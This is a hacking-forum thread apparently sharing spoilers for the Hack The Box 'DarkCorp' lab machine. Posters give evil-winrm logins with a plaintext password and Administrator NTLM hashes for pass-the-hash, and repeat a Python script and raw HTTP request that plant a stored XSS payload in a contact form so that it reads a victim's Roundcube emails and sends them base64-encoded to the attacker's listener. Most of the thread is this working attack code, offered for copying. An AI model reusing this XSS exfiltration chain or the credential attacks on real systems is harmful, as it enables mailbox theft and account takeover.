DarkCorp Hack the Box Season 7 (Windows Insane)
by RedBlock - Saturday February 8, 2025 at 03:32 PM
evil-winrm -i 172.16.20.1 -u taylor.b.adm -p '!QAZzaq1'

(02-09-2025, 06:44 PM)terk12 Wrote: evil-winrm -i 172.16.20.1 -u taylor.b.adm -p '!QAZzaq1'

from here you can ran bloodhound
Reply
(02-09-2025, 06:44 PM)terk12 Wrote: evil-winrm -i 172.16.20.1 -u taylor.b.adm -p '!QAZzaq1'

(02-09-2025, 06:44 PM)terk12 Wrote: evil-winrm -i 172.16.20.1 -u taylor.b.adm -p '!QAZzaq1'

from here you can ran bloodhound

How did you get his pass ?
Ban reason: Leeching. (Permanent)
Reply
(02-09-2025, 06:46 PM)0xbeef Wrote:
(02-09-2025, 06:44 PM)terk12 Wrote: evil-winrm -i 172.16.20.1 -u taylor.b.adm -p '!QAZzaq1'

(02-09-2025, 06:44 PM)terk12 Wrote: evil-winrm -i 172.16.20.1 -u taylor.b.adm -p '!QAZzaq1'

from here you can ran bloodhound

How did you get his pass ?

bruteforce
Reply
What do you guys think of pedophiles?

evil-winrm -i 172.16.20.1 -u Administrator -H fcb3ca5a19a1ccf2d14c13e8b64cde0f
Ban reason: Scraping | https://raidforums.as/Forum-Ban-Appeals if you feel this is incorrect. (Permanent)
Reply
(02-09-2025, 06:54 PM)onetxguy Wrote: What do you guys think of pedophiles?

evil-winrm -i 172.16.20.1 -u Administrator -H fcb3ca5a19a1ccf2d14c13e8b64cde0f

I think they are disgusting 

evil-winrm -i 172.16.20.2 -u Administrator -H '88d84ec08dad123eb04a060a74053f21'
Reply
how did you guys find those hashes?
Reply
can't make the connection with the script to change the password. Can someone help, please? It runs, but I don't receive the link to change the password for bcase@drip.htb."
Ban reason: Leeching. (Permanent)
Reply
How did you manage to get the ntlmrelay to work ? The requests are made with SVC_ACC but how to steal his hash ?

I tried ntlmrelayx DCIP but as SVC_ACC is not admin it is not working ?

Maybe ntlmrelayx is not the way ?
Ban reason: Leeching | http://raiddfzn73ir6iyxlf7nwytnujiflddog...an-Appeals if you feel this is incorrect. (Permanent)
Reply
(02-08-2025, 10:08 PM)jonklem Wrote: THis helped speed things up a smidge:

import requests from http.server import BaseHTTPRequestHandler, HTTPServer import base64 import threading from lxml import html # Configuration TARGET_URL = 'http://drip.htb/contact' LISTEN_PORT = 8000 LISTEN_IP = '0.0.0.0' # Payload for the POST request start_mesg = '<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=fetch(\'/?_task=mail&_action=show&_uid=' message = 4 end_mesg = '&_mbox=INBOX&_extwin=1\').then(r=>r.text()).then(t=>fetch(`http://10.10.14.144:8000/c=${btoa(t)}`)) foo=bar">Foo</body>' post_data = {     'name': 'asdf',     'email': 'asdf',     'message': f"{start_mesg}{message}{end_mesg}",     'content': 'html',     'recipient': 'bcase@drip.htb' } print(f"{start_mesg}{message}{end_mesg}") # Headers for the POST request headers = {     'Host': 'drip.htb',     'Cache-Control': 'max-age=0',     'Upgrade-Insecure-Requests': '1',     'Origin': 'http://drip.htb',     'Content-Type': 'application/x-www-form-urlencoded',     'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36',     'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',     'Referer': 'http://drip.htb/index',     'Accept-Encoding': 'gzip, deflate, br',     'Accept-Language': 'en-US,en;q=0.9',     'Cookie': 'session=eyJfZnJlc2giOmZhbHNlfQ.Z6fOBw.u9iWIiki2cUK55mmcizrzU5EJzE',     'Connection': 'close' } # Function to send the POST request def send_post():     response = requests.post(TARGET_URL, data=post_data, headers=headers)     print(f"[+] POST Request Sent! Status Code: {response.status_code}") # Custom HTTP request handler to capture and decode the incoming data class RequestHandler(BaseHTTPRequestHandler):     def do_GET(self):         if '/c=' in self.path:             encoded_data = self.path.split('/c=')[1]             decoded_data = base64.b64decode(encoded_data).decode('latin-1')             print(f"[+] Received data {decoded_data}")             tree = html.fromstring(decoded_data)             # XPath query to find the div with id 'messagebody'             message_body = tree.xpath('//div[@id="messagebody"]')                         # Check if the div exists and extract the content             if message_body:                 # Extract inner text, preserving line breaks                 message_text = message_body[0].text_content().strip()                 print("[+] Extracted Message Body Content:\n")                 print(message_text)             else:                 print("[!] No div with id 'messagebody' found.")         else:             print("[!] Received request but no data found.")         self.send_response(200)         self.end_headers()         self.wfile.write(b'OK')     def log_message(self, format, *args):         return  # Suppress default logging # Function to start the HTTP server def start_server():     server_address = (LISTEN_IP, LISTEN_PORT)     httpd = HTTPServer(server_address, RequestHandler)     print(f"[+] Listening on port {LISTEN_PORT} for exfiltrated data...")     httpd.serve_forever() # Run the HTTP server in a separate thread server_thread = threading.Thread(target=start_server) server_thread.daemon = True server_thread.start() # Send the POST request send_post() # Keep the main thread alive to continue listening try:     while True:         pass except KeyboardInterrupt:     print("\n[+] Stopping server.")


I was able to request password reset, and then get the URL.  However, after resetting the password it's not letting me sign in.  I'm wondering if it's an http form issue.  I can't seem to turn it off

(02-08-2025, 10:08 PM)jonklem Wrote: THis helped speed things up a smidge:

import requests from http.server import BaseHTTPRequestHandler, HTTPServer import base64 import threading from lxml import html # Configuration TARGET_URL = 'http://drip.htb/contact' LISTEN_PORT = 8000 LISTEN_IP = '0.0.0.0' # Payload for the POST request start_mesg = '<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=fetch(\'/?_task=mail&_action=show&_uid=' message = 4 end_mesg = '&_mbox=INBOX&_extwin=1\').then(r=>r.text()).then(t=>fetch(`http://10.10.14.144:8000/c=${btoa(t)}`)) foo=bar">Foo</body>' post_data = {     'name': 'asdf',     'email': 'asdf',     'message': f"{start_mesg}{message}{end_mesg}",     'content': 'html',     'recipient': 'bcase@drip.htb' } print(f"{start_mesg}{message}{end_mesg}") # Headers for the POST request headers = {     'Host': 'drip.htb',     'Cache-Control': 'max-age=0',     'Upgrade-Insecure-Requests': '1',     'Origin': 'http://drip.htb',     'Content-Type': 'application/x-www-form-urlencoded',     'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36',     'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',     'Referer': 'http://drip.htb/index',     'Accept-Encoding': 'gzip, deflate, br',     'Accept-Language': 'en-US,en;q=0.9',     'Cookie': 'session=eyJfZnJlc2giOmZhbHNlfQ.Z6fOBw.u9iWIiki2cUK55mmcizrzU5EJzE',     'Connection': 'close' } # Function to send the POST request def send_post():     response = requests.post(TARGET_URL, data=post_data, headers=headers)     print(f"[+] POST Request Sent! Status Code: {response.status_code}") # Custom HTTP request handler to capture and decode the incoming data class RequestHandler(BaseHTTPRequestHandler):     def do_GET(self):         if '/c=' in self.path:             encoded_data = self.path.split('/c=')[1]             decoded_data = base64.b64decode(encoded_data).decode('latin-1')             print(f"[+] Received data {decoded_data}")             tree = html.fromstring(decoded_data)             # XPath query to find the div with id 'messagebody'             message_body = tree.xpath('//div[@id="messagebody"]')                         # Check if the div exists and extract the content             if message_body:                 # Extract inner text, preserving line breaks                 message_text = message_body[0].text_content().strip()                 print("[+] Extracted Message Body Content:\n")                 print(message_text)             else:                 print("[!] No div with id 'messagebody' found.")         else:             print("[!] Received request but no data found.")         self.send_response(200)         self.end_headers()         self.wfile.write(b'OK')     def log_message(self, format, *args):         return  # Suppress default logging # Function to start the HTTP server def start_server():     server_address = (LISTEN_IP, LISTEN_PORT)     httpd = HTTPServer(server_address, RequestHandler)     print(f"[+] Listening on port {LISTEN_PORT} for exfiltrated data...")     httpd.serve_forever() # Run the HTTP server in a separate thread server_thread = threading.Thread(target=start_server) server_thread.daemon = True server_thread.start() # Send the POST request send_post() # Keep the main thread alive to continue listening try:     while True:         pass except KeyboardInterrupt:     print("\n[+] Stopping server.")


I was able to request password reset, and then get the URL.  However, after resetting the password it's not letting me sign in.  I'm wondering if it's an http form issue.  I can't seem to turn it off

I'm dumb.  I had to use 'bcase' instead of the email


I'm stuck here, I don't receive the link to reset the password. If anyone can help, I would appreciate it.
Ban reason: Leeching. (Permanent)
Reply
(02-09-2025, 08:06 PM)laranja Wrote:
(02-08-2025, 10:08 PM)jonklem Wrote: THis helped speed things up a smidge:

import requests from http.server import BaseHTTPRequestHandler, HTTPServer import base64 import threading from lxml import html # Configuration TARGET_URL = 'http://drip.htb/contact' LISTEN_PORT = 8000 LISTEN_IP = '0.0.0.0' # Payload for the POST request start_mesg = '<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=fetch(\'/?_task=mail&_action=show&_uid=' message = 4 end_mesg = '&_mbox=INBOX&_extwin=1\').then(r=>r.text()).then(t=>fetch(`http://10.10.14.144:8000/c=${btoa(t)}`)) foo=bar">Foo</body>' post_data = {     'name': 'asdf',     'email': 'asdf',     'message': f"{start_mesg}{message}{end_mesg}",     'content': 'html',     'recipient': 'bcase@drip.htb' } print(f"{start_mesg}{message}{end_mesg}") # Headers for the POST request headers = {     'Host': 'drip.htb',     'Cache-Control': 'max-age=0',     'Upgrade-Insecure-Requests': '1',     'Origin': 'http://drip.htb',     'Content-Type': 'application/x-www-form-urlencoded',     'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36',     'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',     'Referer': 'http://drip.htb/index',     'Accept-Encoding': 'gzip, deflate, br',     'Accept-Language': 'en-US,en;q=0.9',     'Cookie': 'session=eyJfZnJlc2giOmZhbHNlfQ.Z6fOBw.u9iWIiki2cUK55mmcizrzU5EJzE',     'Connection': 'close' } # Function to send the POST request def send_post():     response = requests.post(TARGET_URL, data=post_data, headers=headers)     print(f"[+] POST Request Sent! Status Code: {response.status_code}") # Custom HTTP request handler to capture and decode the incoming data class RequestHandler(BaseHTTPRequestHandler):     def do_GET(self):         if '/c=' in self.path:             encoded_data = self.path.split('/c=')[1]             decoded_data = base64.b64decode(encoded_data).decode('latin-1')             print(f"[+] Received data {decoded_data}")             tree = html.fromstring(decoded_data)             # XPath query to find the div with id 'messagebody'             message_body = tree.xpath('//div[@id="messagebody"]')                         # Check if the div exists and extract the content             if message_body:                 # Extract inner text, preserving line breaks                 message_text = message_body[0].text_content().strip()                 print("[+] Extracted Message Body Content:\n")                 print(message_text)             else:                 print("[!] No div with id 'messagebody' found.")         else:             print("[!] Received request but no data found.")         self.send_response(200)         self.end_headers()         self.wfile.write(b'OK')     def log_message(self, format, *args):         return  # Suppress default logging # Function to start the HTTP server def start_server():     server_address = (LISTEN_IP, LISTEN_PORT)     httpd = HTTPServer(server_address, RequestHandler)     print(f"[+] Listening on port {LISTEN_PORT} for exfiltrated data...")     httpd.serve_forever() # Run the HTTP server in a separate thread server_thread = threading.Thread(target=start_server) server_thread.daemon = True server_thread.start() # Send the POST request send_post() # Keep the main thread alive to continue listening try:     while True:         pass except KeyboardInterrupt:     print("\n[+] Stopping server.")


I was able to request password reset, and then get the URL.  However, after resetting the password it's not letting me sign in.  I'm wondering if it's an http form issue.  I can't seem to turn it off

(02-08-2025, 10:08 PM)jonklem Wrote: THis helped speed things up a smidge:

import requests from http.server import BaseHTTPRequestHandler, HTTPServer import base64 import threading from lxml import html # Configuration TARGET_URL = 'http://drip.htb/contact' LISTEN_PORT = 8000 LISTEN_IP = '0.0.0.0' # Payload for the POST request start_mesg = '<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=fetch(\'/?_task=mail&_action=show&_uid=' message = 4 end_mesg = '&_mbox=INBOX&_extwin=1\').then(r=>r.text()).then(t=>fetch(`http://10.10.14.144:8000/c=${btoa(t)}`)) foo=bar">Foo</body>' post_data = {     'name': 'asdf',     'email': 'asdf',     'message': f"{start_mesg}{message}{end_mesg}",     'content': 'html',     'recipient': 'bcase@drip.htb' } print(f"{start_mesg}{message}{end_mesg}") # Headers for the POST request headers = {     'Host': 'drip.htb',     'Cache-Control': 'max-age=0',     'Upgrade-Insecure-Requests': '1',     'Origin': 'http://drip.htb',     'Content-Type': 'application/x-www-form-urlencoded',     'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36',     'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',     'Referer': 'http://drip.htb/index',     'Accept-Encoding': 'gzip, deflate, br',     'Accept-Language': 'en-US,en;q=0.9',     'Cookie': 'session=eyJfZnJlc2giOmZhbHNlfQ.Z6fOBw.u9iWIiki2cUK55mmcizrzU5EJzE',     'Connection': 'close' } # Function to send the POST request def send_post():     response = requests.post(TARGET_URL, data=post_data, headers=headers)     print(f"[+] POST Request Sent! Status Code: {response.status_code}") # Custom HTTP request handler to capture and decode the incoming data class RequestHandler(BaseHTTPRequestHandler):     def do_GET(self):         if '/c=' in self.path:             encoded_data = self.path.split('/c=')[1]             decoded_data = base64.b64decode(encoded_data).decode('latin-1')             print(f"[+] Received data {decoded_data}")             tree = html.fromstring(decoded_data)             # XPath query to find the div with id 'messagebody'             message_body = tree.xpath('//div[@id="messagebody"]')                         # Check if the div exists and extract the content             if message_body:                 # Extract inner text, preserving line breaks                 message_text = message_body[0].text_content().strip()                 print("[+] Extracted Message Body Content:\n")                 print(message_text)             else:                 print("[!] No div with id 'messagebody' found.")         else:             print("[!] Received request but no data found.")         self.send_response(200)         self.end_headers()         self.wfile.write(b'OK')     def log_message(self, format, *args):         return  # Suppress default logging # Function to start the HTTP server def start_server():     server_address = (LISTEN_IP, LISTEN_PORT)     httpd = HTTPServer(server_address, RequestHandler)     print(f"[+] Listening on port {LISTEN_PORT} for exfiltrated data...")     httpd.serve_forever() # Run the HTTP server in a separate thread server_thread = threading.Thread(target=start_server) server_thread.daemon = True server_thread.start() # Send the POST request send_post() # Keep the main thread alive to continue listening try:     while True:         pass except KeyboardInterrupt:     print("\n[+] Stopping server.")


I was able to request password reset, and then get the URL.  However, after resetting the password it's not letting me sign in.  I'm wondering if it's an http form issue.  I can't seem to turn it off

I'm dumb.  I had to use 'bcase' instead of the email


I'm stuck here, I don't receive the link to reset the password. If anyone can help, I would appreciate it.


Try it manualy, sometimes you've to send multiple reset link to make it work : 

POST /contact HTTP/1.1 Host: drip.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 377 Origin: http://drip.htb Connection: close Referer: http://drip.htb/index Cookie: session=eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiODUyNDg1NGYzMjgxZGZlNjkwNTJmNWEzMDI2Yzk1MGY2MjRlZjgwYyJ9.Z6fc6Q.aPaXVg7kAvRtbpEeSbsFpXFVAGI Upgrade-Insecure-Requests: 1 Priority: u=0, i name=test&email=test%40test.com&message=<body+title%3d"bgcolor%3dfoo"+name%3d"bar+style%3danimation-name%3aprogress-bar-stripes+onanimationstart%3dfetch('/%3f_task%3dmail%26_action%3dshow%26_uid%3d3%26_mbox%3dINBOX%26_extwin%3d1').then(r%3d>r.text()).then(t%3d>fetch(`http%3a//10.10.14.26%3a8001/c%3d${btoa(t)}`))+foo%3dbar">Foo</body> &content=html&recipient=bcase%40drip.htb
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Hack the box Pro Labs, VIP, VIP+ 1 month free Method RedBlock 22 9,272 06-25-2026, 02:15 PM
Last Post: hashxyz
  HTB Eloquia User and Root Flags - Insane Box 69646B 13 7,456 03-27-2026, 06:14 PM
Last Post: vlxw
  HTB - VOLEUR.HTB - MEDIUM WINDOWS chain 1 6,652 02-09-2026, 07:07 PM
Last Post: 403Forbidden
  HTB - CERTIFICATE.HTB - HARD WINDOWS chain 0 2,861 02-09-2026, 04:49 PM
Last Post: chain
  Hack the Box FullHouse all 7 flags RedBlock 13 4,812 01-27-2026, 08:30 PM
Last Post: 00xx00



 Users browsing this thread: 1 Guest(s)